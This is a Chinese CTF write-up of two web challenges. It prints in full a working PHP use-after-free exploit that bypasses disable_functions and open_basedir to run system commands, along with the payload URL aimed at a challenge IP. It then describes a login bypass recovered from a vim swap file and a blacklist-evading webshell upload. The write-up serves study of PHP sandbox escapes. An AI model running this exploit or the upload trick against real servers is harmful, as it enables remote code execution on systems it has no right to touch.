本来可以尝试着写一下的，可惜那天都在上课，这里做一下记录

ezbypass

它给了一个shell，无法执行命令，要bypass open_basedir，这个上次有遇到过，写个shell在/tmp/目录下(通过利用环境变量 LD_PRELOAD 劫持系统函数，让外部程序加载恶意 *.so，达到执行系统命令的效果 )，可是这次它ban了mail，error_log之类的函数所以之前的方法行不通，要换一个，附一个链接 传送门 用他给的php文件，包含即可执行命令。

payload如下

http://111.186.57.61:10101/?src=&cmd=include("/tmp/exploits.php");
a=/./readflag    //POST传参用a执行命令

exploits.php文件内容

<?php
pwn($_POST['a']);
function pwn($cmd) {
    global $abc, $helper;
    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }
    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }
    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }
    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);
        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }
        if(!$data_addr || !$text_size || !$data_size)
            return false;
        return [$data_addr, $text_size, $data_size];
    }
    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;
            return $data_addr + $i * 8;
        }
    }
    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }
    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);
            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
    class ryat {
        var $ryat;
        var $chtg;

        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }
    class Helper {
        public $a, $b, $c, $d;
    }
    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }
    $n_alloc = 10; # increase this value if you get segfaults
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);
    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();
    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];
    $helper = new Helper;
    $helper->b = function ($x) { };
    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }
    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;
    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);
    $closure_obj = str2ptr($abc, 0x20);
    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }
    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }
    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
    ($helper->b)($cmd);
    exit();
}

当然蚁剑中也有bypass disable_functions插件，直接使用也可。

ezupload

查看源码，发现有提示/.login.php.swp，为什么会有swp文件，当使用vim编辑器编辑文件时，会自动生成一个同名字的.swp文件，正常退出的话，.swp文件会自动删除，而当异常退出是.swp文件会保存，以作备份，那么怎么通过.swp文件恢复原文件呢，可以使用vim -r，最终恢复原文件代码如下

<?php
#error_reporting(0);
session_start();
include "config.php";

$username = $_POST['username'];
$password = $_POST['password'];
if (isset($username)){
    $sql = "select password from user where name=?";
    if ($stmt = $mysqli->prepare($sql)) {
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($dpasswd);
        $stmt->fetch();
        if ($dpasswd === $password){
        $_SESSION['login'] = 1;
            header("Location: /upload.php");
        }else{
            die("login failed");
        }
        $stmt->close();
    }
}else{
    header("Location: /index.php");
}

$mysqli->close();

可以发现当username不存在，password为空时可以绕过，POST传usename=1即可，然后跳转一个上传页面，测试一下是黑名单验证，加个文件头GIF89a上传1.phtm，然后可以执行命令，找到flag就行了，但是现在好像被删掉了。。。